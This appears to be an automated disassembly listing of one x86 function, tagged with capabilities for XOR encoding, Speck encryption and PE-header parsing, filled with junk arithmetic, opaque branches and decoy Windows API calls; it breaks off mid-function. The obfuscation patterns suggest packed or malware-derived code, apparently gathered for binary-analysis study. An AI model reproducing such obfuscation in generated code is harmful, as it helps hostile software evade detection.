Function at 0x10032160
Capabilities:
Encode data using xor
Encrypt data using speck
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4d10
call fcn.1007a9d0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xa44], 0x57
mov dword [ebp - 0xa40], eax
movsx ecx, word [0x100ad0b0]
mov dword [ebp - 0x18], ecx
movsx edx, word [0x100ad0c4]
mov dword [ebp - 0x1c], edx
mov eax, dword [0x100ad148]
mov ecx, dword [0x100ad14c]
mov dword [ebp - 0x95c], ecx
mov dword [ebp - 0x20], eax
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0x960], eax
mov word [ebp - 0xc], dx
mov byte [ebp - 1], 6
mov ecx, 0x8eb0
mov word [ebp - 8], cx
movzx edx, word [0x100ad0b8]
mov dword [ebp - 0x24], edx
movsx eax, word [0x100ad130]
mov dword [ebp - 0x48], eax
movzx eax, byte [0x100ad00f]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov ecx, dword [0x100ad160]
mov dword [ebp - 0x4c], ecx
movsx dx, byte [0x100ad00e]
mov word [ebp - 0x10], dx
mov al, byte [0x100ad110]
mov byte [ebp - 4], al
mov cx, word [0x100ad120]
mov byte [ebp - 3], cl
movsx edx, word [0x100ad130]
mov dword [ebp - 0x2c], edx
mov eax, dword [0x100ad0e0]
xor ecx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov byte [ebp - 2], 0xe4
mov edx, dword [0x100ad0e8]
mov eax, dword [0x100ad0ec]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
movsx ecx, byte [0x100ad037]
mov dword [ebp - 0x28], ecx
mov edx, 0x5aa7
mov word [ebp - 0x14], dx
mov eax, 0xf0da9
mov dword [ebp - 0x44], 0x836ac248
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x11d], 0xdd
movsx ecx, byte [0x100ad00d]
mov dword [ebp - 0x964], ecx
mov edx, dword [0x100ad0d8]
mov eax, dword [0x100ad0dc]
mov dword [ebp - 0x968], eax
mov word [ebp - 0x5e8], dx
mov cx, word [0x100ad100]
mov word [ebp - 0x5ec], cx
mov edx, 0x968
mov word [ebp - 0x5f0], dx
mov dword [ebp - 0x96c], 0xc68a
mov eax, dword [0x100ad15c]
cdq
mov dword [ebp - 0xa4c], eax
mov dword [ebp - 0xa48], edx
mov eax, dword [0x100ad140]
xor ecx, ecx
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa50], ecx
movzx eax, word [0x100ad0b8]
cdq
mov dword [ebp - 0xa5c], eax
mov dword [ebp - 0xa58], edx
mov dword [ebp - 0x970], 0xca9eab6c
mov edx, 0xc349
mov word [ebp - 0x5f4], dx
movsx eax, byte [0x100ad00d]
mov dword [ebp - 0x974], eax
mov dword [ebp - 0x978], 0x8450
mov dword [ebp - 0x97c], 0xfbd78ce1
mov ecx, dword [0x100ad0a8]
mov byte [ebp - 0x11e], cl
mov dx, word [0x100ad0bc]
mov byte [ebp - 0x11f], dl
mov eax, dword [0x100ad0e0]
mov dword [ebp - 0x980], eax
mov ecx, dword [0x100ad140]
mov dword [ebp - 0x984], ecx
mov dx, word [0x100ad130]
mov word [ebp - 0x5f8], dx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jb 0x10032375
mov dword [ebp - 0x1c4], 1
jmp 0x1003237f
mov dword [ebp - 0x1c4], 0
cmp dword [ebp - 0x20], 0x1a
jb 0x10032391
mov dword [ebp - 0x1c8], 1
jmp 0x1003239b
mov dword [ebp - 0x1c8], 0
mov ecx, dword [ebp - 0x1c4]
cmp ecx, dword [ebp - 0x1c8]
jge 0x10032427
mov edx, dword [0x100ad0e0]
xor eax, eax
push 0x7167d
push 0xd3ef0158
push eax
push edx
call fcn.1007a8a0
mov dword [0x100ad100], eax
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
add ecx, dword [0x100ad138]
adc edx, dword [0x100ad13c]
mov dword [0x100ad138], ecx
mov dword [0x100ad13c], edx
movsx eax, byte [0x100ad042]
cdq
push 0x20175
push 0x4ea515ea
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movsx eax, word [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov edx, 4
mov word [0x100ad0f0], dx
jmp 0x1003250a
movzx eax, word [0x100ad120]
test eax, eax
jne 0x1003243e
mov dword [ebp - 0x1cc], 1
jmp 0x10032448
mov dword [ebp - 0x1cc], 0
movsx ecx, word [ebp - 0x14]
cmp dword [ebp - 0x1cc], ecx
jg 0x10032460
mov dword [ebp - 0x1d0], 1
jmp 0x1003246a
mov dword [ebp - 0x1d0], 0
mov edx, dword [ebp - 0x1d0]
not edx
test edx, edx
je 0x1003250a
movzx eax, byte [ebp - 3]
imul eax, dword [ebp - 0x2c]
mov byte [ebp - 3], al
movsx ecx, byte [0x100ad043]
add ecx, 0xbf
mov word [0x100ad0c4], cx
mov edx, dword [ebp - 0x4c]
sub edx, 0xed5e
mov word [ebp - 8], dx
mov eax, dword [0x100ad0f8]
or eax, dword [0x100ad0fc]
jne 0x100324bf
mov dword [ebp - 0x1d4], 1
jmp 0x100324c9
mov dword [ebp - 0x1d4], 0
movzx eax, byte [ebp - 2]
not eax
cdq
mov ecx, eax
mov esi, edx
sub ecx, dword [ebp - 0x54]
sbb esi, dword [ebp - 0x50]
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0x1d4]
cdq
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x48]
xor edx, 0x72
movsx eax, byte [0x100ad073]
lea eax, [edx + eax - 0x9d]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x168]
add edx, 0x2fd
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], edx
mov eax, dword [ebp - 0x684]
cmp eax, dword [0x100ad0ec]
ja 0x10032562
jb 0x10032556
mov ecx, dword [ebp - 0x688]
cmp ecx, dword [0x100ad0e8]
jae 0x10032562
mov dword [ebp - 0x1d8], 1
jmp 0x1003256c
mov dword [ebp - 0x1d8], 0
cmp dword [ebp - 0x1c], 0x3a
jge 0x1003257e
mov dword [ebp - 0x1dc], 1
jmp 0x10032588
mov dword [ebp - 0x1dc], 0
mov edx, dword [ebp - 0x1d8]
cmp edx, dword [ebp - 0x1dc]
je 0x100328fc
mov byte [ebp - 3], 3
mov eax, dword [0x100ad15c]
add eax, 0x4da2691f
mov ecx, dword [0x100ad0b4]
sub ecx, eax
mov dword [0x100ad0b4], ecx
mov dx, word [0x100ad0b4]
mov word [0x100ad0bc], dx
movzx eax, byte [ebp - 1]
test eax, eax
jne 0x100325d8
mov dword [ebp - 0x1e0], 1
jmp 0x100325e2
mov dword [ebp - 0x1e0], 0
movsx ecx, word [ebp - 0xc]
test ecx, ecx
jne 0x100325f6
mov dword [ebp - 0x1e4], 1
jmp 0x10032600
mov dword [ebp - 0x1e4], 0
movzx edx, byte [ebp - 2]
movzx eax, byte [ebp - 4]
xor edx, eax
movzx ecx, word [0x100ad0f0]
not ecx
add ecx, dword [ebp - 0x1e0]
imul edx, ecx
mov eax, dword [0x100ad158]
add eax, dword [ebp - 0x48]
movzx ecx, byte [ebp - 3]
add eax, dword [ebp - 0x1e4]
add ecx, eax
not ecx
sub edx, ecx
mov byte [ebp - 4], dl
mov edx, dword [0x100ad100]
sub edx, 0xa533
mov word [0x100ad0e4], dx
mov eax, dword [0x100ad118]
cdq
push 0x81913
push 0xf2e36368
push edx
push eax
call fcn.1007a8a0
add eax, dword [0x100ad140]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
mov ecx, dword [0x100ad0e0]
sub ecx, eax
mov edx, dword [0x100ad0e0]
add edx, ecx
mov dword [0x100ad0e0], edx
movzx eax, byte [ebp - 3]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 3
ja case.default.0x100326a1
mov ecx, dword [ebp - 0x1e8]
jmp dword [ecx*4 + 0x1003b850]
movsx edx, word [0x100ad0c4]
sub edx, dword [0x100ad15c]
movsx eax, word [0x100ad0c4]
imul eax, edx
mov word [0x100ad0c4], ax
mov ecx, dword [ebp - 0x18]
shl ecx, 1
mov word [0x100ad0b8], cx
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
xor edx, 0xea79dd63
xor eax, 0x850fe
mov dword [ebp - 0x690], edx
mov dword [ebp - 0x68c], eax
mov ecx, dword [ebp - 0x690]
or ecx, dword [ebp - 0x68c]
jne 0x1003270d
mov dword [ebp - 0x1ec], 1
jmp 0x10032717
mov dword [ebp - 0x1ec], 0
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x1ec]
mov byte [0x100ad09a], dl
movzx eax, byte [str.px_04X_]
cdq
add eax, 0xda5c9aa0
mov word [0x100ad0c4], ax
mov ax, word [0x100ad0c4]
mov ecx, 1
imul edx, ecx, 0x78a
mov byte [edx + 0x101e9b18], al
imul eax, dword [ebp - 0x2c], 0xb700
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
jmp case.default.0x100326a1
movzx eax, byte [0x100ad0a6]
add eax, 0xef7d4fd
mov word [ebp - 0x14], ax
movsx eax, word [0x100ad0cc]
cdq
mov ecx, dword [0x100ad0fc]
push ecx
mov ecx, dword [0x100ad0f8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0cc], ax
movzx eax, word [ebp - 8]
cdq
or eax, dword [ebp - 0x3c]
or edx, dword [ebp - 0x38]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], edx
mov edx, dword [ebp - 0x698]
or edx, dword [ebp - 0x694]
jne 0x100327ca
mov eax, 1
mov word [ebp - 0xd4], ax
jmp 0x100327d3
xor ecx, ecx
mov word [ebp - 0xd4], cx
mov dx, word [ebp - 0xd4]
mov word [0x100ad130], dx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jmp case.default.0x100326a1
mov eax, dword [ebp - 0x1c]
add eax, 0x19
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov byte [ebp - 4], 0x44
cmp dword [ebp - 0x2c], 0
jne 0x10032812
mov dword [ebp - 0x1f0], 1
jmp 0x1003281c
mov dword [ebp - 0x1f0], 0
movzx eax, word [ebp - 0x10]
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [0x100ad00d]
cdq
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x44]
push ecx
push edx
push eax
call fcn.1007a8a0
add esi, eax
adc edi, edx
movzx edx, word [ebp - 8]
mov eax, dword [ebp - 0x1f0]
sub eax, edx
not eax
xor eax, dword [ebp - 0x2c]
cdq
sub esi, eax
sbb edi, edx
not esi
not edi
mov dword [0x100ad108], esi
mov dword [0x100ad10c], edi
movsx eax, word [0x100ad0b0]
sub eax, 0x3aeef307
mov word [0x100ad0cc], ax
xor ecx, ecx
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x2c]
mov eax, 2
imul ecx, eax, 0x75e9
mov word [ecx + 0x100c0320], dx
jmp case.default.0x100326a1
movsx edx, word [ebp - 0x14]
movzx eax, byte [0x100ad00f]
sub edx, eax
mov word [ebp - 0x14], dx
mov ecx, dword [ebp - 0x18]
shl ecx, 5
mov byte [ebp - 1], cl
mov edx, dword [0x100adbec]
mov dword [0x100ad15c], edx
movzx eax, byte [ebp - 1]
imul ecx, eax, 0xda14
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x988], eax
sub edx, 0xacd19060
mov word [0x100ad0ac], dx
movsx eax, word [0x100ad0c0]
cdq
sub eax, 0xb4dfa858
mov dword [ebp - 0x2c], eax
jmp 0x10032a36
movsx ecx, word [ebp - 0xc]
not ecx
test ecx, ecx
je 0x10032a36
mov dl, byte [0x100adbec]
mov byte [str.ZFreeSid], dl
movzx eax, word [0x100ad0f0]
test eax, eax
jne 0x10032935
xor ecx, ecx
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x470], ecx
jmp 0x10032940
xorps xmm0, xmm0
movlpd qword [ebp - 0x474], xmm0
mov edx, dword [ebp - 0x474]
add edx, 0x8d13e4d7
mov eax, dword [ebp - 0x470]
adc eax, 0x273d2
mov dword [ebp - 0x6a0], edx
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x6a0]
or ecx, dword [ebp - 0x69c]
jne 0x10032985
xor edx, edx
mov dword [ebp - 0x524], 1
mov dword [ebp - 0x520], edx
jmp 0x10032990
xorps xmm0, xmm0
movlpd qword [ebp - 0x524], xmm0
mov eax, dword [ebp - 0x44]
add eax, dword [0x100ad160]
mov ecx, dword [ebp - 0x40]
adc ecx, dword [0x100ad164]
not eax
not ecx
mov edx, dword [ebp - 0x20]
not edx
xor esi, esi
sub eax, edx
sbb ecx, esi
mov edx, dword [0x100ad140]
xor esi, esi
sub edx, dword [0x100ad0f8]
sbb esi, dword [0x100ad0fc]
xor edx, dword [ebp - 0x524]
xor esi, dword [ebp - 0x520]
push esi
push edx
push ecx
push eax
call fcn.1007a8a0
mov dword [0x100ad0c8], eax
movzx eax, byte [ebp - 4]
test eax, eax
jne 0x100329f3
mov dword [ebp - 0x1f4], 1
jmp 0x100329fd
mov dword [ebp - 0x1f4], 0
movsx eax, byte [str.E2_wcsrchr]
movsx ecx, word [0x100ad0c0]
sub eax, ecx
imul eax, dword [ebp - 0x1f4]
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movzx edx, byte [0x100ad072]
movsx eax, word [0x100ad0b0]
sub edx, eax
mov byte [0x100ad072], dl
mov ecx, dword [ebp - 0x168]
add ecx, 0x3aa
mov dword [ebp - 0x17c], ecx
movzx edx, word [ebp - 0x10]
sub edx, dword [ebp - 0x18]
mov word [ebp - 0x10], dx
movsx eax, byte [0x100ad00e]
movsx ecx, word [ebp - 0x14]
xor eax, ecx
movsx edx, byte [0x100ad00e]
sub edx, eax
mov byte [0x100ad00e], dl
mov eax, dword [ebp - 0x2c]
sub eax, 0x95
or eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov byte [ebp - 2], 0xaa
mov ecx, dword [ebp - 0x168]
add ecx, 0x5d0
mov dword [ebp - 0x248], ecx
mov edx, dword [0x100ad0c8]
not edx
test edx, edx
je 0x10032b11
mov eax, 1
mov word [0x100ad0bc], ax
mov ecx, dword [0x100ad0e0]
xor edx, edx
add ecx, 0x54a05b16
adc edx, 0xbdfa2
mov eax, dword [0x100ad148]
mov esi, dword [0x100ad14c]
add eax, ecx
adc esi, edx
mov dword [0x100ad148], eax
mov dword [0x100ad14c], esi
movsx eax, byte [str.E2_wcsrchr]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movzx ecx, word [0x100ad0b8]
sub ecx, dword [ebp - 0x20]
mov word [0x100ad0b8], cx
movsx eax, word [ebp - 0xc]
cdq
mov ecx, eax
sub ecx, dword [0x100ad138]
movsx eax, word [ebp - 0xc]
cdq
sub eax, ecx
mov word [ebp - 0xc], ax
jmp 0x10032b70
xor edx, edx
je 0x10032b70
mov ax, word [0x100adbec]
mov word [0x100ad11c], ax
movsx ecx, word [ebp - 0x14]
sar ecx, 1
mov dword [0x100ad0c8], ecx
movzx eax, byte [0x100ad00f]
cdq
add eax, 0x8c37041a
mov dword [0x100ad140], eax
movzx edx, byte [ebp - 2]
not edx
movsx eax, word [0x100ad0cc]
lea ecx, [edx + eax - 0x11a4a275]
mov word [0x100ad120], cx
mov edx, 0x69c0
mov word [0x100ad0cc], dx
mov eax, dword [0x100adbec]
mov dword [0x100ad0a8], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x170], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x98c], eax
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0x170]
add ecx, 0x2ec
mov dword [ebp - 0x990], ecx
movsx edx, word [ebp - 0x14]
test edx, edx
je 0x10032cef
cmp dword [ebp - 0x28], 0
je 0x10032c7c
movsx eax, byte [0x100ad042]
test eax, eax
je 0x10032bd4
cmp dword [ebp - 0x48], 0
je 0x10032bd4
mov dword [ebp - 0x1f8], 1
jmp 0x10032bde
mov dword [ebp - 0x1f8], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x1f8]
je 0x10032c35
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x994], edx
add ecx, 0x60
movzx eax, byte [ebp - 2]
cdq
add eax, ecx
mov byte [ebp - 2], al
mov ax, word [0x100ad0c4]
mov ecx, 2
imul edx, ecx, 0x7b
mov word [edx + 0x100df228], ax
movzx eax, byte [0x100ad0a6]
movsx ecx, word [ebp - 0xc]
lea edx, [ecx + eax + 0xaed2]
mov word [ebp - 0xc], dx
jmp 0x10032c7a
cmp dword [0x100ad0c8], 0
jne 0x10032c7a
mov eax, dword [ebp - 0x28]
xor eax, 0xc19e
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
cdq
add eax, 0x7639110f
mov dword [ebp - 0x4c], eax
mov eax, dword [0x100ad0a8]
cdq
mov ecx, eax
sub ecx, 0x772a17fe
movzx eax, word [ebp - 8]
cdq
sub eax, ecx
mov word [ebp - 8], ax
mov edx, 0x3f
mov word [0x100ad11c], dx
jmp 0x10032cef
mov eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x40]
jne 0x10032c90
mov dword [ebp - 0x1fc], 1
jmp 0x10032c9a
mov dword [ebp - 0x1fc], 0
movzx ecx, word [ebp - 0x10]
movzx edx, word [0x100ad0f0]
imul ecx, edx
imul eax, dword [0x100ad15c], 0xc1
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x1fc]
sub edx, ecx
not edx
mov dword [ebp - 0x2c], edx
mov ax, word [0x100adbec]
mov word [ebp - 0x14], ax
mov eax, dword [ebp - 0x18]
cdq
push 0xc9478
push 0xfd31cc42
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movzx eax, word [ebp - 0x10]
cdq
sub eax, ecx
mov word [ebp - 0x10], ax
mov edx, dword [ebp - 0x170]
add edx, 0x52e
mov dword [ebp - 0x414], edx
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
je 0x10032d35
mov eax, dword [ebp - 0x200]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x998], eax
call dword [sym.imp.USER32.dll_EndMenu]
mov dword [ebp - 0x99c], eax
mov ecx, dword [0x100ad110]
or ecx, dword [0x100ad114]
jne 0x10032d57
mov edx, dword [ebp - 0x54]
or edx, dword [ebp - 0x50]
je 0x10032d57
mov dword [ebp - 0x204], 1
jmp 0x10032d61
mov dword [ebp - 0x204], 0
mov eax, dword [0x100ad100]
add eax, 0xb4
cmp dword [ebp - 0x204], eax
jae 0x10032e7d
mov dword [ebp - 0x16c], 0x22a
jmp 0x10032d92
mov ecx, dword [ebp - 0x16c]
sub ecx, 1
mov dword [ebp - 0x16c], ecx
cmp dword [ebp - 0x16c], 0
jle 0x10032e78
movzx edx, byte [str.px_04X_]
xor eax, eax
sub eax, edx
mov byte [ebp - 2], al
xor ecx, ecx
mov dword [ebp - 0x34], 0x32246b2b
mov dword [ebp - 0x30], ecx
movzx eax, word [ebp - 8]
sub eax, 0x7b
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx edx, byte [str.E2_wcsrchr]
test edx, edx
je 0x10032deb
mov eax, dword [0x100ad148]
mov ecx, dword [0x100ad14c]
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], ecx
jmp 0x10032dfb
mov eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x52c], eax
mov dword [ebp - 0x528], edx
mov dl, byte [ebp - 0x52c]
mov byte [0x100ad00d], dl
movzx eax, byte [0x100ad00f]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
movzx eax, byte [ebp - 1]
movsx ecx, byte [0x100ad073]
sub eax, ecx
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x24]
cdq
mov edi, dword [0x100ad108]
mov ebx, dword [0x100ad10c]
add edi, eax
adc ebx, edx
not edi
not ebx
push ebx
push edi
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad118], eax
mov dx, word [0x100ad130]
add dx, 1
mov word [0x100ad130], dx
jmp 0x10032d83
jmp 0x10032f8b
movzx eax, byte [ebp - 4]
cmp eax, 0x6fe80c58
jge 0x10032e94
mov dword [ebp - 0x208], 1
jmp 0x10032e9e
mov dword [ebp - 0x208], 0
movsx ecx, byte [str.ZFreeSid]
not ecx
cmp dword [ebp - 0x208], ecx
je 0x10032f8b
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
push 0x8eead
push 0xfb7cb72f
push eax
push edx
call fcn.1007a8a0
mov byte [0x100ad042], al
movsx ecx, word [0x100ad130]
imul edx, ecx, 0x9e4
mov byte [ebp - 4], dl
movsx eax, word [0x100ad130]
add eax, 0x6b
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movsx eax, byte [0x100ad00d]
imul eax, dword [0x100ad0e0]
mov ecx, dword [0x100ad0e8]
sub ecx, eax
not ecx
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x9a0], edx
not esi
movzx eax, byte [0x100ad0a6]
cdq
sub esi, eax
mov eax, dword [0x100ad138]
add eax, dword [0x100ad0f8]
add esi, eax
not esi
sub ecx, esi
mov byte [ebp - 3], cl
mov eax, dword [0x100ad118]
sub eax, 0x9e
cdq
mov esi, eax
push 0
push 0xde
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.1007a8a0
add esi, eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x9a4], edx
add ecx, eax
movsx eax, byte [0x100ad09a]
movsx edx, byte [0x100ad00d]
imul eax, edx
cdq
add ecx, eax
not ecx
sub esi, ecx
mov dword [0x100ad0a8], esi
mov eax, dword [ebp - 0x170]
add eax, 0x507
mov dword [ebp - 0x9a8], eax
xor ecx, ecx
mov dword [0x100ad108], 1
mov dword [0x100ad10c], ecx
movzx eax, byte [0x100ad072]
cdq
add eax, 0x1eb856db
mov dword [ebp - 0x2c], eax
movzx edx, word [0x100ad120]
movsx eax, word [0x100ad0bc]
imul edx, eax
movzx ecx, word [0x100ad120]
sub ecx, edx
mov word [0x100ad120], cx
mov edx, dword [0x100ad118]
sub edx, 8
movzx eax, word [0x100ad0ac]
imul eax, edx
mov word [0x100ad0ac], ax
imul ecx, dword [ebp - 0x18], 0x221da786
mov byte [0x100ad042], cl
movzx edx, byte [str.px_04X_]
movsx eax, byte [0x100ad042]
sub edx, eax
mov byte [str.px_04X_], dl
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x428]
or eax, dword [ebp - 0x424]
je 0x1003305c
cmp dword [ebp - 0x428], 1
jne 0x10033057
cmp dword [ebp - 0x424], 0
je 0x1003310b
jmp 0x1003314f
movzx ecx, word [0x100ad120]
imul edx, ecx, 0x2c
mov dword [ebp - 0x20], edx
mov eax, dword [0x100ad108]
mov ecx, dword [0x100ad10c]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov edx, dword [ebp - 0x6a8]
or edx, dword [ebp - 0x6a4]
jne 0x1003309a
mov dword [ebp - 0x20c], 1
jmp 0x100330a4
mov dword [ebp - 0x20c], 0
mov eax, dword [0x100ad0c8]
add eax, 0xda
movzx ecx, word [ebp - 0x10]
movzx edx, word [ebp - 8]
add ecx, edx
xor eax, ecx
jne 0x100330c8
mov dword [ebp - 0x210], 1
jmp 0x100330d2
mov dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x20c]
and eax, dword [ebp - 0x210]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movsx eax, word [0x100ad130]
mov ecx, dword [0x100ad118]
imul ecx, eax
mov dword [0x100ad118], ecx
mov dx, word [0x100adbec]
mov word [0x100ad130], dx
jmp 0x1003314f
movzx eax, word [ebp - 0x10]
cdq
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x9ac], edx
add ecx, eax
add ecx, 0xc340
mov dword [ebp - 0x2c], ecx
movzx eax, byte [ebp - 2]
movsx ecx, byte [0x100ad043]
xor eax, ecx
mov byte [ebp - 2], al
movzx eax, word [0x100ad0f0]
cdq
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x40]
sbb eax, edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
movsx ecx, word [0x100ad0c0]
test ecx, ecx
je 0x10033169
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 1], al
jmp 0x100331ac
push 0
push 0xcfa0
mov eax, dword [0x100ad0fc]
push eax
mov ecx, dword [0x100ad0f8]
push ecx
call fcn.1007a8a0
mov word [0x100ad0e4], ax
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x9b0], eax
sub edx, 0xda6716d9
mov word [ebp - 0x10], dx
movzx ecx, byte [ebp - 2]
imul edx, ecx, 0x27
mov word [0x100ad0c0], dx
cmp dword [ebp - 0x48], 0
je 0x1003368a
movzx eax, byte [ebp - 4]
test eax, eax
je 0x100335eb
movzx ecx, word [0x100ad0f0]
movsx edx, word [0x100ad0b0]
cmp ecx, edx
jl 0x100331e0
mov dword [ebp - 0x214], 1
jmp 0x100331ea
mov dword [ebp - 0x214], 0
movzx eax, word [0x100ad0f0]
cmp eax, 0x61
jl 0x10033202
mov dword [ebp - 0x218], 1
jmp 0x1003320c
mov dword [ebp - 0x218], 0
mov ecx, dword [ebp - 0x214]
cmp ecx, dword [ebp - 0x218]
jge 0x1003354d
mov byte [0x100ad0a6], 3
mov edx, dword [0x100ad140]
add edx, 1
mov byte [ebp - 1], dl
xor eax, eax
mov dword [0x100ad110], 4
mov dword [0x100ad114], eax
mov ecx, dword [ebp - 0x28]
shl ecx, 4
xor edx, edx
mov dword [0x100ad0f8], ecx
mov dword [0x100ad0fc], edx
mov eax, dword [ebp - 0x48]
sub eax, 0xaec0
mov byte [ebp - 4], al
movsx ecx, word [0x100ad0c4]
test ecx, ecx
jne 0x10033278
mov dword [ebp - 0x21c], 1
jmp 0x10033282
mov dword [ebp - 0x21c], 0
movzx eax, byte [ebp - 1]
cdq
mov ecx, dword [0x100ad0d8]
mov esi, dword [0x100ad0dc]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov esi, eax
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.1007a8a0
add esi, eax
not esi
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x21c]
movzx ecx, word [0x100ad0b8]
not ecx
add ecx, 0xd2
imul eax, ecx
not eax
cdq
sub esi, eax
mov word [0x100ad0b0], si
movzx edx, byte [0x100ad0a6]
mov dword [ebp - 0x220], edx
cmp dword [ebp - 0x220], 3
ja case.default.0x100332ff
mov eax, dword [ebp - 0x220]
jmp dword [eax*4 + 0x1003b860]
movsx eax, byte [str.ZFreeSid]
movsx ecx, byte [0x100ad00e]
not ecx
imul eax, ecx
cdq
xor eax, 0x9de859af
xor edx, 0x9df5d
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
xor edx, edx
mov dword [ebp - 0x44], 0x695c
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x4c]
add eax, dword [0x100ad158]
mov dword [ebp - 0x4c], eax
movsx ecx, word [0x100ad0c0]
sub ecx, 0x2b
mov byte [ebp - 4], cl
jmp case.default.0x100332ff
movsx edx, word [0x100ad0b0]
test edx, edx
jne 0x10033379
xor eax, eax
mov dword [ebp - 0x444], 1
mov dword [ebp - 0x440], eax
jmp 0x10033384
xorps xmm0, xmm0
movlpd qword [ebp - 0x444], xmm0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x444]
sbb edx, dword [ebp - 0x440]
mov dword [ebp - 0x6b0], ecx
mov dword [ebp - 0x6ac], edx
mov eax, dword [ebp - 0x6b0]
or eax, dword [ebp - 0x6ac]
jne 0x100333bc
mov dword [ebp - 0x224], 1
jmp 0x100333c6
mov dword [ebp - 0x224], 0
movsx ecx, word [0x100ad0b0]
not ecx
movsx edx, byte [0x100ad042]
not edx
imul ecx, edx
test ecx, ecx
jne 0x100333eb
mov dword [ebp - 0x228], 1
jmp 0x100333f5
mov dword [ebp - 0x228], 0
mov eax, dword [ebp - 0x224]
